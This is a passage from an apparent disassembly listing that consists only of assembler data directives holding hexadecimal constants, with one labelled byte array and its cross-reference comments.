		dd 0B1002FC8h, 0C022430Fh, 0EAD1C81h, 0AC8D279Dh, 0A13312A0h
		dd 0C7D4BB0h, 9600C474h, 3142A1Ah, 0DB5C9Dh, 3E02DEE7h
		dd 0CD91D746h, 0E89C8700h, 0CB9D1F71h, 566A0D82h, 0F8F9ED2Ch
		dd 460E335Fh, 9484B3h, 4A1F6F9Fh, 45C60F67h, 42A1B4D4h
		dd 0CCF71B66h, 200C5C4Eh, 487EF877h, 62F63975h,	2F5F478Eh
		dd 8106B60Bh, 0B100D9CBh, 0EA4D6A99h, 0EB8688h,	0D9F8D2A1h
		dd 4620700Bh, 97B1A228h, 0C48038C0h, 4D5C15h, 3F52FDFFh
		dd 540C7894h, 0A4B3B000h, 38E6B17h, 43F4001Bh, 65EFCE5Fh
		dd 0B0FEC2F0h, 0C0310700h, 0C5B6A99Bh, 663F0044h, 3E5EEC2Bh
		dd 1B06D1E8h, 0E09847EDh, 0F58600B4h, 3F43598Dh, 0B909DC6Bh
		dd 83AF5EF1h, 0F0BCBAD9h, 1CD3E70h, 0D07CFE05h,	0C08BF0E1h
		dd 0EE05AD23h, 0BE6D48A6h, 0BDE88F01h, 0B4EC6BD5h, 0B24A0026h
		dd 44C128CAh, 49C0D0B8h, 0CC951E1Bh, 3DE8A8h, 340A4DDBh
		dd 68192242h, 0BEBA8603h, 81B1E271h, 0C2FC8528h, 0E78E00F0h
		dd 59DBD848h, 0E10086F9h, 1DF2A963h, 0B05F96C6h, 70920740h
		dd 0B36A395Ch, 38C05BE0h, 0B003E89Bh, 45F3CE6Fh, 0A52FC026h
		dd 0B8F4CBh, 71334264h,	8E7A5019h, 1D7BA13Bh, 650F4ACAh
		dd 2F876099h, 1D3B812h,	7A23602Dh, 300E6B7Dh, 2C0E40DBh
		dd 0A03E04DEh, 74E8FB65h, 0A40300FAh, 25AD08E1h, 29580DD2h
		dd 0E9AC013Fh, 17C97375h, 0B0787F0h, 0F496045h,	0BB07B4D4h
		dd 0BEBFB41Bh, 671F5380h, 3DC41Eh, 926F18Ch, 7EF32D23h
		dd 571F20A5h, 0AB9B1663h, 2812CA07h, 9A23AD90h,	6A141E18h
		dd 89348042h, 0EFA97EB1h, 0B2CB5000h, 0F70F3DCEh, 243C0FADh
		dd 8621B41Fh, 0FCCAA944h, 0E0006418h, 0C524508h, 39115FDh
		dd 62CB4897h, 0FAFF38Dh, 9C1A6700h, 920018D4h, 4F2ED168h
		dd 7B195C28h, 130B1E3Bh, 0C4807E9Ah, 8FF949E7h,	1C00BA92h
		dd 0BE4737BCh, 0DADE44h, 8E97FE6Ah, 33B03A74h, 406E921Eh
		dd 0E69E7587h, 89AEA00Fh, 47532Dh, 12572A7Fh, 0B6C2A3B0h
		dd 0D764E600h, 2055D14h, 78F46013h, 883FE9Bh, 388F9130h
		dd 446F98h, 0FBBEF582h,	7AEC5755h, 0B09B8807h, 78B68959h
		dd 92FD1848h, 9110D8B3h, 0AEBBFE00h, 982C41F8h,	0A3A500FBh
		dd 0FD8CF1E6h, 460065DBh, 0A843ED6Dh, 1341E31Ch, 0D3B42Fh
		dd 3393C2FEh, 0C82CB1EFh, 8C000985h, 941C0EB8h,	0BCAF1845h
		dd 0E6449640h, 8076B928h, 0E8A66702h, 960C810Ah, 0F1E31020h
		dd 3620C192h, 7AF5C5CFh, 0AC9988B8h, 0B10A1A4Ah, 37CD54A8h
		dd 35A24F4h, 1BAE1976h,	2DE1018Ah, 92089487h, 3E0443B8h
		dd 15993EE5h, 0E90C8F07h, 30B6FAh, 64B00DA7h, 4A4B5986h
		dd 89E86D06h, 1118CA9Dh, 45ACF5Eh, 0C0CDBADCh, 0AB51D05h
		dd 900C9018h, 8678C595h, 0ACF82405h, 0BB540C1Dh, 0D0D11018h
		dd 0BC273487h, 0DC424519h, 0A6884821h, 20F0429Ah, 44AB3B10h
		dd 2342C410h, 18B1DC14h, 280CD82Ah, 21188721h, 0E208220Ch
		dd 2540429Bh, 28B58100h, 92311EDAh, 5DB29C90h, 0EF9884B8h
		dd 99BC9191h, 19A1F4B3h, 51F5C407h, 0B84A4773h,	0CAC86E80h
		dd 3FDE966h, 0DF37849Bh, 380FD681h, 0BD71988Ch,	0C8FBF3CAh
		dd 0A10B2600h, 0F64DDFh, 363943ECh, 48F53746h, 51759900h
		dd 0FCDCF719h, 8DB20608h, 8E11D15h, 0BCC538h, 0E0B47C92h
		dd 3E6EC74h, 59DF2E82h,	0E3FA66FFh, 69F14C90h, 0D8C0027Dh
		dd 0D358F9DAh, 0B9A1000Dh, 12D09FE1h, 0E8E2644Bh, 0DC003171h
		dd 329C6A6Eh, 1ED199DFh, 0C0223955h, 4ACF374Fh,	6F483C33h
		dd 0AB66008Ch, 0B4F54925h, 1CD15618h, 0F323EB10h, 9CC0BFD9h
		dd 0EF0A23h, 49DFE6E9h,	5807E5F2h, 2D84FE0Ah, 0E1D8C020h
		dd 0BDCD801Ah, 0F3D75F8h, 0E508860Eh, 728CB22h,	0A2F6E605h
		dd 0CEFEF07Bh, 0D31D164Ch, 44C3989Eh, 0A0F48625h, 0A61151D4h
		dd 63E265Ch, 0B52D0093h, 8AB9DD5Dh, 0C76C2A0Eh,	66F20096h
		dd 475CACh, 0C17004ADh,	4E2B18A5h, 33C9BB00h, 12D5E27Ah
		dd 0DE690074h, 18085521h
		dd 3B0001A6h, 0C50B494Eh, 281C577Eh, 1423E9h, 4CF31D95h
		dd 3CA86CE0h, 28203A00h, 0BDE11F4Ah, 0C7A400B8h, 9255BB0Fh
		dd 0EB00E5EAh, 1856C9DDh, 77DC512h, 2CD6AB5Bh, 142936Ch
		dd 0D3480BDh, 9D003381h, 5688DD23h, 1C02F17Bh, 0AAAA8F5Eh
		dd 4C3C5358h, 0BA1FF780h, 0E801C9C8h, 6153D21Eh, 8860A5D6h
		dd 10658EEh, 0F4C8E870h, 18BC7898h, 41952474h, 7064D21h
		dd 4979AE1Eh, 2530C450h, 0FABD81F3h, 0AF7B20D7h, 61810700h
		dd 0E6360B9Ch, 609400E3h, 3D3CEECEh, 0F00056DDh, 638F2135h
		dd 0F2D5C367h, 9D4001D8h, 0BCB46233h, 6978806Ch, 5DCBE16Ah
		dd 12063DD7h, 8AF8CC00h, 0D27F909Fh, 938F2F07h,	5E97537Eh
		dd 3E900386h, 406194A5h, 0E4792826h, 0CC006A77h, 8EDE6C41h
		dd 140EE6BBh, 807EC27Ah, 5EACE029h, 0C0EF98C0h,	0EA8629h
		dd 0BB0886Fh, 0B3C88B4Fh, 5400EE7Bh, 0B46C58DDh, 14E03169h
		dd 0BECA892Bh, 0AAF3E505h, 0A447F39h, 8030609Bh, 88193F02h
		dd 94040CCh, 27852403h,	7C63EE34h, 6988E0ECh, 7097F5FCh
		dd 0FF8F008Bh, 0E363A3DCh, 4B09A212h, 1676014h,	486469DFh
		dd 70575F8h, 3329DB6Eh,	400FB7F9h, 8EEC2FFEh, 7FDE4F06h
		dd 1C896364h, 8006F9E0h, 67879725h, 0C9B0A241h,	307EB90Ah
		dd 51C08460h, 90915548h, 1A08820h, 0A05B00A7h, 3CC1715Ch
		dd 0F9EC36B9h, 1741D739h, 2B00B64Eh, 0A68B7379h, 0E64C01BCh
		dd 0C59BBA93h, 746820E5h, 1E007D76h, 6CEDE220h,	1414B884h
		dd 0D08612F7h, 1C29B3Bh, 85664633h, 2845922h, 8A6052B4h
		dd 89DEE764h, 0A0898EAh, 510E3E68h, 4952AE00h, 926D8E40h
		dd 0E5E61001h, 7E382A33h, 91AB3DD4h, 350E5C0Ch,	8019B366h
		dd 54752A59h, 0E0492D5h, 0BF240F88h, 0F39F1220h, 0EA297660h
		dd 0C154FCA1h, 0C7400DC8h, 0B750E475h, 0F501F4A4h, 0B6AB375Fh
		dd 804C5593h, 0BE223F56h, 0B91DE00Eh, 0B37AF383h, 0F5F0D9E8h
		dd 0F9199A00h, 50E42F2h, 146700D8h, 44F122B9h, 0CD005F1Fh
		dd 0D3C19F9Ah, 3462C7Dh, 0FEFC86CFh, 0C0A711AEh, 7B75626Dh
		dd 0E7EEAE0h, 49A5E00h,	67E109DAh, 966D01C4h, 991C125Ch
		dd 1E30BC31h, 0C0D3E39h, 806E114Ch, 0C5BA37B3h,	0CD4110C1h
		dd 1843973Eh, 0E100FE9h, 7B01C209h, 0C4628FEEh,	1300E559h
		dd 1906E8ACh, 0ED69578h, 0F9C69CD7h, 4B01BED6h,	22C39B7Ch
		dd 0CD2C98EBh, 6E453B1Fh, 0C093AF9Eh, 567FFE8h,	0B31F51F7h
		dd 904E324Eh, 9406CEF5h, 6D82009Ch, 0A5E0C40Bh,	34C1006Eh
		dd 0AFC51A43h, 7303FA97h, 0FC614184h, 7005F8FFh, 8A7750h
		dd 0F8DB81C6h, 23862F2h, 0E8A5B8C6h, 7644074Eh,	5793C3h
		dd 0ADB77EEEh, 48004A77h, 0D11BFC60h, 0E8BBE40Ch, 0B0C9500Bh
		dd 0C024601Fh, 9BD290CCh, 7E301518h, 1AEC490h, 7C632CF1h
		dd 508D8591h, 8E0A72C8h, 0E402C300h, 0B82D188Ch, 7F8FF0B9h
		dd 0F36C0083h, 0C8931F63h, 6F0024BDh, 0CE61D2D6h, 3F8FE56h
		dd 0BF122B4Eh, 8182AC0h, 2E588E54h, 0C1FE001Dh,	78EC08E1h
		dd 0EF00AD74h, 0CE84B8C3h, 590535h, 296ECFAEh, 0D3D43144h
		dd 0FC7EC401h, 9D1F66EEh, 1FAC1824h, 684D8FC8h,	25A4013Ch
		dd 0D99B30F0h, 88CB0891h, 0FE00CCF8h, 0AC536CB6h, 0BC9C16h
		dd 0F5A4317Ah, 0E7CFA5E2h, 54909B7Bh, 87B78D03h, 0D0535534h
		dd 748C85EAh, 0D31228D6h, 30C200E0h, 0E6A541D2h, 0D803AF31h
		dd 0AA5B1673h, 10519682h, 9E72253Dh, 80168481h,	0CE0CF1E4h
		dd 48AE40h, 0CD8D31Bh, 34C41571h, 10DDA300h, 85CC2238h
		dd 2F9D0119h, 0B37FA18Eh, 0F5E4FC96h, 3900DBE0h, 4F9FA27Ch
		dd 0D51353h, 0FB3F285Ch, 30DAFA44h, 3E929E00h, 4EB95F4Dh
		dd 979B007Fh, 429DE818h, 760071BBh, 920BB870h, 3133FCh
		dd 1827B5DEh, 0E6AB9C17h, 9B006EEAh, 0B72B3044h, 3BEBD6F4h
		dd 339E5F5Ah, 1BD00092h, 148A1EBDh, 12D4D500h, 8659D6E1h
		dd 79200E5h, 610F2CB9h,	57005D83h, 3C93024h, 7CD5B09h
		dd 0E65F59C3h, 0D80BC095h, 2B735493h, 9F4CF400h, 715249BDh
		dd 8B66342h, 20019553h,	0D80CCF3h, 1CDC0183h, 2C87B39h
		dd 2372F8Fh, 0C240538Dh, 0DFB84CDBh, 5813B382h,	1F821BE0h
		dd 9C17F221h, 230B052h,	0EA032CE0h, 0A3EC0BABh,	0A5FB88A7h
		dd 2080E5C7h, 0AD502EBDh, 0EE76ED7Eh, 0C9EC30Fh, 7B8C6032h
		dd 622C16B7h, 5D397933h, 0F2F8E18h, 0E0593F4Fh,	95ED85D0h
		dd 0D000941Dh, 73110D14h, 991D3F77h, 9EE00600h,	37448765h
		dd 0B36C9B01h, 0BB4976B1h, 43CB9C48h, 4A69020Eh, 1C2146C6h
		dd 4D009A7Ch, 0B0A944F3h, 68583E5h, 55B14F79h, 0B300515Eh
		dd 77332576h, 4CD2BF60h, 7100A07Dh, 12A87F98h, 0C61F7A39h
		dd 0E04701B9h, 0E720618Ah, 0BD78DDh, 67620A1Fh,	28295AC5h
		dd 9A77E400h, 4ED2243Ch, 4376B0h, 6CC97D60h, 0B9F04C81h
		dd 556BC800h, 5838E59h,	71D907CAh, 60966F9Fh, 7AA9BD01h
		dd 1944B71Ch, 91C6FBC0h, 3136AD6h, 21EA7839h, 0F3C8DF40h
		dd 100F05A1h, 800F0495h, 0D462C5D7h, 0B0150038h, 0C9E06127h
		dd 0EF00848Bh, 1004471Eh, 0F39E09h, 25553001h, 0C5D049DAh
		dd 2E0A4A00h, 8EDED277h, 5BDD0320h, 7755AA9h, 0E141D7E2h
		dd 0C5188011h, 25CAA5DEh, 80F76329h, 40E91B2Eh,	5DA5605Ch
		dd 230031F8h, 0B9FF1269h, 0E419DFh, 965795B3h, 0F4052FA0h
		dd 0FE1C7DF0h, 1D0F4B72h, 27A48739h, 7C30509Ch,	75DFA8Eh
		dd 5CD80D65h, 9E04A0B5h, 51006D60h, 95A4DF91h, 16532E6h
		dd 82560771h, 0F09A7C52h, 0D35CC78Bh, 4D2D07ACh, 0F0B08DF6h
		dd 0F89830AEh, 81EF304Bh, 0FB6A9668h, 0D0A3F200h, 3A79D7F0h
		dd 0F4AD01ABh, 0D38B433h, 0DC22D0C9h, 230CD50Dh, 14D1CEF9h
		dd 3E526DE4h, 0B600986Ah, 21FE5F78h, 94791C0Fh,	4A6C11C0h
		dd 7D0B9ACAh, 0B1F501DDh, 24AE0698h, 9D1CF80Ah,	0A29CCD00h
		dd 0E2481575h, 738300ABh, 8B8AFC42h, 8100BD45h,	55829A18h
		dd 56C9B205h, 4CC0047Dh, 1507A5EAh, 8702427Dh, 9A0F1009h
		dd 0D03D573h, 0CAA8E39Dh, 6C70F752h, 22BFB503h,	0DFDE03h
		dd 0AEB93F20h, 0ACFF0294h, 88475A1Eh, 4FD66Fh, 0C7A33C08h
		dd 74005522h, 42D10605h, 671DE510h, 600B8083h, 0A170C051h
		dd 3BD3C300h, 27820D19h, 0C120DE7Fh, 3EC04D28h,	0A033D0D5h
		dd 71FF4303h, 396F90h, 0BE57D80h, 596B5FC0h, 3732D3Ah
		dd 0D8770AC1h, 902000BEh, 0C31D94E3h, 0BB908EA4h, 0B232DC00h
		dd 746C4FBCh, 967129E8h, 68050328h, 66B95C72h, 88B708CDh
		dd 8F005E0Eh, 0A14F6F2Bh, 8A23F6h, 3F403356h, 0A6760A7Fh
		dd 0BACAD501h, 57E1622h, 0F6DCD4h, 0C33A09AEh, 0B789849Fh
		dd 37F5A500h, 202A9982h, 0B2133015h, 6C895231h,	96A8B401h
		dd 4660397Bh, 0C05437F4h, 0A2AC7821h, 0A1FC97D9h, 0F154C48h
		dd 40C86482h, 58C4A701h, 0AC94A060h, 672E8655h,	3A1F598Ch
		dd 0D9446CEAh, 0C23139DCh, 2A198B00h, 0B5A0E816h, 0D5018903h
		dd 7156343Fh, 6590059h,	0A9B15236h, 0B04792Bh, 5AE2786h
		dd 30DCA880h, 1CE0A8C6h, 0BCF404h, 29AD0946h, 345211DBh
		dd 4035C63Ah, 67F40098h, 7B902C3Ah, 0BA2A6059h,	1948305Dh
		dd 0F7861F66h, 51353046h, 80BB7A60h, 5C00CB6Eh,	8BCF0DF6h
		dd 24A071D3h, 566010EAh, 0B2055D10h, 56516481h,	0EB6ECC25h
		dd 3ABA9500h, 0FC96C4F1h, 6065077Ch, 0D0D47954h, 66725520h
		dd 0B6860700h, 42100B5Fh
		dd 0B438A997h, 1231EBD4h, 2803217Fh
		db 98h
byte_530055	db 5Ah,	0Eh, 0C5h	; DATA XREF: ___:off_437A24o
					; ___:off_437A3Co
		dd 0A009FDAEh, 0F46006CFh, 0F07595h, 9CE3761Bh,	102E4939h
		dd 25BB400h, 4FA8630Dh,	0D4E4EB98h, 0C02400EEh,	7B47B19Fh
		dd 0C5001E84h, 107FDDB3h, 72893Fh, 0BD2EABE0h, 3073313h
		dd 245BD8FAh, 8E24A0h, 690A760h, 9D16A35h, 71AF1507h, 0EA806E5Ch
		dd 78ECBF0Eh, 32E8000Fh, 1D1FD206h, 7D1DA57Fh, 790C7EFDh
		dd 0B7209Dh, 0A3F702E3h, 77CA58AEh, 1F646700h, 3F48DF23h
		dd 0D491EC51h, 0E700DE68h, 0E1CF542h, 0A8002B9Bh, 0F03FBE47h
		dd 146E05Fh, 0DC218A5Ah, 0CCC85C12h, 0EA26590Bh, 0E107A6A7h
		dd 29009303h, 3B5484h, 0DBCF3E31h, 0FEAF3D9Fh, 0EBD7C800h
		dd 77A3AC1Fh, 4A042CAAh, 0B34D0018h, 3A50CFB2h,	0FD305D07h
		dd 0CB803433h, 360486E3h, 408E6F20h, 1AE4AF00h,	0EBF2FFFCh
		dd 0EAB00683h, 61E1855Fh, 57185C60h, 0AC94ECh, 0FA4FBE21h
		dd 7A026683h, 50157E07h, 0A7B3BDCAh, 9000E53Ch,	178FB7C8h
		dd 86EB00E8h, 1F31BEF8h, 3430BF9Fh, 87F02013h, 11590010h
		dd 0C0156ECAh, 1258E6F9h, 8CEE0C49h, 7C2A48DBh,	0CF079A7h
		dd 0CB0BDF10h, 3543AA68h, 59178800h, 0B9458F14h, 0E0F10085h
		dd 0B01AB17h, 623F6A07h, 2800A4D0h, 3D4E8B0Fh, 740344EFh
		dd 5F349296h, 54A7920Eh, 6DA4201Dh, 54154F8Ch, 1DE538DBh
		dd 55312A64h, 0C02A6CFFh, 0BDEA00E0h, 44517917h, 0F8585259h
		dd 87CD3FBDh, 41C857ADh, 0B61E0BD0h, 0E6A90F47h, 880FA37h
		dd 4F78B4A3h, 0EB5F8800h, 0FE0FD726h, 0E1103FF9h, 0F42DC080h
		dd 0E7A0891Eh, 0AFD56200h, 0E38C026Dh, 875094Bh, 6031E46Ah
		dd 0AAC8FFF8h, 60867EADh, 0BA7521BEh, 67030702h, 226B2ED8h
		dd 0B78D0CAh, 15FB1EA5h, 301C008Eh, 2CC6D8B1h, 0FFDB5C00h
		dd 0F62D0839h, 0EB060657h, 0A8C89A5Ah, 2E69F907h, 17490BF1h
		dd 80A891A4h, 394EF2BAh, 323B13C4h, 0B6E50080h,	0AEF87870h
		dd 934C2300h, 29CC5595h, 0AAB42A6Eh, 0C27C2CE0h, 73D8007Bh
		dd 3CF7808Dh, 50309E74h, 0CA9D2003h, 5E9C031Eh,	71A9481Ah
		dd 4A317090h, 0F291C00h, 0C3B0CBB1h, 24783D57h,	0F6398B07h
		dd 0F45AF070h, 9B2A717Eh, 0FF00FC9Eh, 4DB2C342h, 0AD8E14h
		dd 6B4EBF73h, 48B76046h, 0AAFC740Fh, 842F7254h,	0C012A310h
		dd 0E4273CB1h, 39D960FCh, 427B042Fh, 7E00B374h,	0BDEECCACh
		dd 0A817BAh, 0E71E3989h, 2C9177CBh, 0F3B18E00h,	9B702A1Ch
		dd 564034Dh, 3E61D2A5h,	50504FFBh, 2043CC9Ch, 0FF64AA03h
		dd 90401EFCh, 1788A24Ch, 0AD3C00F5h, 4E66B80Ah,	0F31855BEh
		dd 0EF797344h, 54E548FCh, 2822FC41h, 0C9AA6E1h,	75157929h
		dd 1E1B5CB4h, 0E9575105h, 0B85D6Ch, 19321C29h, 0FC01BAC1h
		dd 0A2DAD2ADh, 434442Ch, 5DE335D7h, 0F85C0150h,	858E5901h
		dd 0C9790F18h, 0ACE41281h, 188D2CDCh, 89E92641h, 0AB029A01h
		dd 36C583BAh, 6B80A0E8h, 0C3CA19F9h, 92176440h,	36A4880Fh
		dd 0FFA22077h, 0A3A76Bh, 27873A59h, 7274D8FEh, 0EE2D7809h
		dd 8A9800E8h, 7744CD89h, 2C920757h, 0CFCB7BA6h,	5CB0CE5Ah
		dd 0DB0E43B8h, 88F6632Ah, 21318C26h, 383FE780h,	54330047h
		dd 0F33E2EB7h, 929BA0AEh, 0D5CA24ADh, 60142490h, 3E9190D0h
		dd 1051CC1Dh, 0D342DB40h, 599FDh, 0E1590DC2h, 9DB43831h
		dd 6B0EA8C0h, 0A771E9h,	0FEBE6CBFh, 88DA3F03h, 0E8D36529h
		dd 867754D0h, 6B00C5FEh, 0D3DC4C87h, 1CBC6702h,	0E6DA50A4h
		dd 0C230197h, 50696105h, 6D61B2Ch, 0C71AF912h, 49142Ch
		dd 0F2D8EB81h, 9D6BBC44h, 65904054h, 0EEE4AA00h, 73028409h
		dd 6A7609CDh, 3C98199Eh, 0BE110306h, 25843D1Ch,	172300D7h
		dd 0B4EC103h, 0D6C7B15Fh, 0CB8D0883h, 0E8202126h, 31805E47h
		dd 2C73088Ah, 50F89CF2h, 0E5781A30h, 0BFD6A0Ah,	5E437066h
		dd 0E2C2F979h, 0FEDD9C59h, 0C856D601h, 0EC00A810h, 1E0C6AB3h
		dd 0A85B3E65h, 375280h,	5F55BF0Dh, 0A9C4F5A5h, 2879F300h
		dd 4A7C6729h, 39FCEFh, 641A4870h, 0F3A3FAF5h, 0F704FEE4h
		dd 8E38181Eh, 0C6880CC2h, 7D301CD4h, 0D10A8145h, 996BF54Ah
		dd 0CEF82E94h, 3F35422h, 2B10288Ah, 49A02C0Eh, 9E66004Ch
		dd 372AF952h, 8F489CFCh, 1FF80B38h, 36C82053h, 0C7FBB7F0h
		dd 0F4FF4298h, 1B50C84Ch, 276DB43h, 271EDC3Ch, 2811B94Bh
		dd 0B3CC2180h, 4CCF3621h, 5015AB31h, 60E0D739h,	51E9004Dh
		dd 846A80B1h, 0A600B87Ah, 0F97E13AFh, 1B71DB0h,	44E738D1h
		dd 0D0E4C065h, 20C0A069h, 51DCA5Fh, 0DFC0FD4h, 24032C07h
		dd 8AE0C577h, 0D80343A1h, 0E2F142F4h, 519CB045h, 0F794814h
		dd 3480013Ch, 1A291889h, 287B13EAh, 0E3B4F418h,	86AB7E88h
		dd 7B207C02h, 16DAD82Ah, 20165B04h, 80EE012Eh, 87555AB8h
		dd 34741B00h, 0EB524567h, 0D9AF3C13h, 18FD68BBh, 7837CF32h
		dd 85017BA8h, 149934C4h, 0FFB42Dh, 83120918h, 37B78ECh
		dd 0B95C0E1Eh, 0FEAF29CFh, 3133B79h, 0D0785396h, 7269B88Dh
		dd 0EB0A036Bh, 0F52432E2h, 0D4421BC0h, 0EA06F674h, 842D4866h
		dd 830A0028h, 62197E10h, 20C02CBFh, 0D73A2713h,	0F131C0CAh
		dd 0CB4679A7h, 26AF5C03h, 0E019ECEDh, 7656B02Dh, 104E6024h
		dd 9F85B10Ah, 2A7AC60Fh, 0A900310Eh, 0FAAF0D5h,	9E312EBCh
		dd 5D6648C5h, 208A7095h, 0B9A7F680h, 0BD549221h, 0B3298618h
		dd 58301480h, 0A42096D8h, 0E3A60314h, 0B4CA1C64h, 85300942h
		dd 483018F9h, 0E7102C6h, 44D36B52h, 0CC1C8B8Ah,	7B329070h
		dd 3F83906h, 300DA0E6h,	89202CBh, 0A910380Ah, 63998AAh
		dd 2330AE1Ch, 26807418h, 0AA1ED7A0h, 1B320A14h,	0D89C630Ah
		dd 1D4544E9h, 88464184h, 0E1A010C9h, 384C7690h,	0C8B50566h
		dd 701F2A1Eh, 59CC930h,	860418A4h, 2B657836h, 230A2128h
		dd 0CC0DA511h, 448EF8A2h, 0D57B8E70h, 0C6002CA6h, 4B529BFBh
		dd 141AA3CBh, 0B072B68Ah, 0B4795374h, 0A592709Bh, 0BF400844h
		dd 4888EFE6h, 0EA08E7ABh, 4D4B0AB4h, 7710348Ch,	264EE448h
		dd 0FC062049h, 0A7B18B01h, 9D7ACA1Ah, 65150BE0h, 4ED0871h
		dd 0A3C8AD0h, 0C15150CAh, 41260A0Ah, 1173A06Bh,	0C652C588h
		dd 62C9E046h, 0D72A08DBh, 686BDE60h, 3FE89C63h,	5710209Fh
		dd 603BEB30h, 0CD8044CBh, 0E0B0BE20h, 1B724A37h, 0A4A5B17Ch
		dd 3EBB6661h, 0A00F0830h, 0A9470B84h, 6886B0A4h, 1844EC8Bh
		dd 2B71F820h, 42F832F5h, 6C984D25h, 3C6F1C86h, 88D81A60h
		dd 0A08B4E0h, 0B7EB0729h, 388B4545h, 0AF4769ACh, 4635A601h
		dd 417A6A1Bh, 0BB14AF4h, 0C93E1D11h, 0AA70A3C6h, 8439CC18h
		dd 1E55A170h, 0E61E5248h, 1C4D80AAh, 25C5F088h,	2F414A0h
		dd 0B709AC89h, 18161F98h, 0E9FFAA06h, 0A28DD08h, 19424786h
		dd 72FE58A8h, 52BE0618h, 0C36EA628h, 0EF7C8AC0h, 6146AA2h
		dd 0DDF84320h, 0C61830CCh, 3B58EBF0h, 318A542h,	287FEBE9h
		dd 13E68909h, 6701C4Ch,	3C68101Eh, 60928C5h, 161C1A99h
		dd 8BD70CB0h, 262973DCh, 1B762C15h, 560BC33Ch, 1CBBA80h
		dd 2068E246h, 0B2A24758h, 0D9D8045h, 0E0CD3D45h, 305FAC4Dh
		dd 0C0180C60h, 4F103230h, 1174542Bh, 2E602099h,	0C6C5C2F3h
		dd 68AE8699h, 69486CFEh, 385730ECh, 4842AD6Bh, 77B0D84Eh
		dd 37616655h, 365A6B1h,	2605944Eh, 43428EE2h, 3113C6A8h
		dd 52C96014h, 0B85DA018h, 2C701481h, 931AC06Ah,	0B0809105h
		dd 1C672AEAh, 8A81A0A5h, 0E2B09D93h, 0C2786034h, 3692A38h
		dd 270CB89Ch
		dd 31B91A8Ah, 4B904126h, 0E7287F9Ch, 4656481Fh,	46F0424h
		dd 6642B38Eh, 7E0252D9h, 1D5CC72Dh, 6A5046F4h, 86135029h
		dd 1C393A97h, 240222D0h, 8AF0C67Ch, 53503A91h, 0CFC6EFC5h
		dd 87C614A1h, 4CA0282Dh, 18208F37h, 0EE639E7h, 8A6A2E86h
		dd 63625888h, 22782A08h, 0FC80ED71h, 4B4F67CDh,	40C3CACh
		dd 51918AEDh, 0D3620606h, 841EA2Dh, 5400ECFAh, 1F28AB4Eh
		dd 78620B4Fh, 6044913Bh, 0FE3163CEh, 1F2649C5h,	0B0A4D814h
		dd 2C86BBA4h, 930CE075h, 8AA001B8h, 5C4E55B0h, 410A7A50h
		dd 8C2F42CAh, 0F7F56604h, 0E7220482h, 5B8783E4h, 89095D15h
		dd 807E7386h, 3038CD10h, 7FA4ACAh, 0C19F075Ch, 6043D54Ah
		dd 4C63E63Ch, 1262DC88h, 38DB9760h, 440AE26Ch, 0E8AACBA8h
		dd 8A604B98h, 1B9532F0h, 0DC818926h, 0F11ECAA1h, 0EB6C6039h
		dd 0A10B961h, 5470BBB7h, 18A658CCh, 4A08DE30h, 80C54ED7h
		dd 0E40C0488h, 33EA900Fh, 0EBA8CDAEh, 4B491878h, 0B6401820h
		dd 0CA02B30h, 4F24AA2Eh, 5F637610h, 12B83D88h, 38EE3628h
		dd 90390538h, 5CDA10FBh, 38B95B02h, 98A34C6Ah, 702C8031h
		dd 8B0B8CCCh, 0F568A49Eh, 9122A4D1h, 952458BAh,	8F0970CCh
		dd 0B6DC4809h, 0D754037Dh, 94203C70h, 0EECA0174h, 0A48A3005h
		dd 660AD0F6h, 0B2B89663h, 0D782097h, 4475CB24h,	151CA09h
		dd 390AAA14h, 5FF40889h, 0B50E901Ch, 0F852A881h, 50E50678h
		dd 658CD07Bh, 40036807h, 1C120EFCh, 0AA8076CAh,	80F2699Eh
		dd 5B0F8494h, 897921F9h, 956C037Bh, 51481961h, 2003C87Fh
		dd 2166AA28h, 1E0D311h,	1F8F710Ah, 8B437A4Ah, 80477EC8h
		dd 1ED50764h, 3B3036Ah,	908C0B4Eh, 0D02B382Eh, 40A9698Ch
		dd 0E010D4BDh, 6020A831h, 318984Bh, 5CF04A10h, 8E3034A5h
		dd 8CCBCA30h, 458A1F18h, 0B063C169h, 0EC045C64h, 0B1BA2A1Dh
		dd 72F3BE8h, 263EDC5Ah,	0D8C5C26h, 65CD1870h, 87AB0894h
		dd 8C5C684h, 38916A35h,	8A080C18h, 4A30C306h, 810804Dh
		dd 0C81993A8h, 0BAA27867h, 82D81220h, 0A6ED1809h, 3339DEA4h
		dd 0CB687127h, 68CA100Ch, 0C36290D1h, 60D5EA60h, 0F5281019h
		dd 188B7720h, 90209E4Ah, 2A30F38Bh, 30963A31h, 0A08B7B67h
		dd 0B8269708h, 0A461085Eh, 79452A18h, 4B67097h,	91BF4BFCh
		dd 20D7DF6Ch, 305069CCh, 6CB83CC8h, 0A00A8A79h,	0B4372B65h
		dd 828313Ch, 40892C4Ah,	6041720Bh, 4B088665h, 79F81290h
		dd 54DCB02Dh, 65F0C054h, 1DC58832h, 4D2D0AC4h, 0E898A084h
		dd 0C081659Dh, 14C81F72h, 2A1F9860h, 71DCA4F3h,	7006A9A5h
		dd 539B460Eh, 8D513000h, 926E2A1Fh, 0A1AFB038h,	5820AF54h
		dd 1CD2498Ah, 62CFF24h,	0D85AD7EAh, 246F5504h, 309275CAh
		dd 2C284858h, 649C90B6h, 801E3965h, 64996A68h, 18690C90h
		dd 8100CD0h, 2BF8280Ah,	101A67C0h, 0FC218CCAh, 6818396Fh
		dd 0E87F1893h, 2C92F54Ah, 2A984450h, 0F8C469E8h, 3092E09h
		dd 9C94826h, 6315F044h,	7FD38067h, 19DC46E7h, 60964133h
		dd 1011187Bh, 0E9B0088Fh, 606A88CDh, 0C4F473D0h, 81D17818h
		dd 927B3F20h, 64037A48h, 3197C38Ah, 9194908h, 0CBA09858h
		dd 5023CAB8h, 0C427F89Dh, 0C1B3EB08h, 20F24AE8h, 21240B18h
		dd 64091CA1h, 0A7D002A4h, 0C3EC4259h, 1DD81687h, 3D2C3895h
		dd 33C13615h, 156613ECh, 30BC2C14h, 0F92288F6h,	63A8B119h
		dd 0FE28DF7h, 9086B468h, 7E26509Ah, 0D93F2035h,	5E9D1720h
		dd 9936438h, 0F0E173A9h, 0A3750041h, 3D823440h,	68CC1D08h
		dd 9A34C684h, 7F5033E0h, 9022160h, 0AB657AACh, 6A48605Ah
		dd 0AC3F4852h, 0CA584333h, 207C91E5h, 3C904758h, 8C492A08h
		dd 38BB243Ch, 4B3E193Eh, 1193AB50h, 7A844415h, 0ACD0828Eh
		dd 0B347468h, 0FC122381h, 0CB4A4440h, 1E9CF350h, 0A197098h
		dd 0F52094D1h, 0E0C6C447h, 4068F808h, 789AC62Dh, 4028F844h
